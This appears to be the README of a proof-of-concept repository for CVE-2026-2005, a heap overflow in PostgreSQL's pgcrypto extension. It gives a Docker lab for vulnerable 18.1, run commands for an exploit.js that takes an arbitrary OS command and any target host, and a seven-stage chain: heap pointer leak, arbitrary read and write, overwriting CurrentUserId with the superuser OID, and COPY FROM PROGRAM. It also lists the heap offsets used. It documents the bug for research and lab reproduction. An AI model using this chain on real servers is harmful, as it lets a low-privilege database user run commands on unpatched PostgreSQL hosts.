
Target commit: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — vulnerable)
| Field | Detail |
|---|---|
| CVE | CVE-2026-2005 |
| Type | Heap buffer overflow |
| Component | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| Impact | RCE as the OS user running PostgreSQL |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Auth required | Low — any authenticated user with CREATE privilege |
| Affected | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Fixed in | 14.21, 15.16, 16.12, 17.8, 18.2 (Feb 12, 2026) |
| Arch | aarch64 (ARM64) — heap offsets and MBuf layout are arch/glibc specific |
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# Install node deps
npm install
# Run the full RCE exploit chain
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
Stage 1: Heap pointer leak
└─ Corrupt mdst chunk header → parse pfree() error message
Stage 2: Arbitrary read (multi-offset scan)
└─ Overwrite mdst->data → scan memory near leaked pointer
Stage 3: Pointer candidate collection
└─ Scan heap dump for non-heap addresses
Stage 4: PIE base resolution
└─ Read /proc/<pid>/maps via Docker exec (100% reliable)
Stage 5: (skipped — PIE base is known from maps)
Stage 6: Arbitrary write
└─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)
Stage 7: Command execution
└─ COPY FROM PROGRAM → arbitrary OS command as postgres user
CVE-2026-2005/
├── Dockerfile # Builds PostgreSQL 18.1 from source
├── docker-compose.yml # PostgreSQL service with auto-restart
├── init.sh # Entrypoint — initdb + listen config
├── README.md # This file
└── poc/
├── package.json # Node.js dependencies (pg)
├── exploit.js # Full 7-stage RCE exploit (Node.js)
├── verify.sh # Shell-based quick verification
└── test-pgcrypto.sql # SQL-only test of pgcrypto loading
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (optional — only needed with --gdb flag)The bug is in pgp_parse_pubenc_sesskey() in contrib/pgcrypto/pgp-pubdec.c.
When parsing an OpenPGP Public-Key Encrypted Session Key packet (tag 1):
memcpys session-key data into a fixed-size buffer based on the unvalidated lengthThe memcpy can write past the heap buffer boundary, corrupting adjacent heap
metadata or data, leading to arbitrary code execution.
pfree()
error message to extract mdst->data heap address./proc/<pid>/maps from the Docker container
to find the postgres binary's load address at runtime.msrc (source) and mdst (destination) MBuf
structs via the heap overflow. msrc points at an embedded symenc packet
containing the superuser OID (10); mdst points at CurrentUserId - 4
(accounting for the 4-byte SET_VARSIZE header).CurrentUserId = 10 (bootstrap superuser),
execute COPY FROM PROGRAM to run arbitrary OS commands.pgcrypto extension is trusted — any user with CREATE privilege
(not superuser) can install it, making this exploitable with low privileges.--enable-debug for easier debugging with gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) are specific
to aarch64 + glibc — other architectures/allocators need different offsets.restart: always to auto-recover from backend crashes
during PIE candidate testing./proc/<pid>/maps inside the Docker container —
no readelf needed on the host.CurrentUserId offset is read via docker exec readelf.| Flag | Default | Description |
|---|
--cmd | id | OS command to execute after successful exploit |
--key-size | 3072 | RSA key size in bits |
--host | 127.0.0.1 | PostgreSQL host |
--port | 5432 | PostgreSQL port |
--user | postgres | Database user |
--password | (empty) | Database password |
--dbname | postgres | Database name |
--binary | ./postgres | Path to postgres ELF binary for symbols |
--scan-offset | auto | Override heap scan offset from leaked pointer |
--verbose | off | Enable verbose debug output |
--gdb | off | Attach GDB via tmux at overflow point |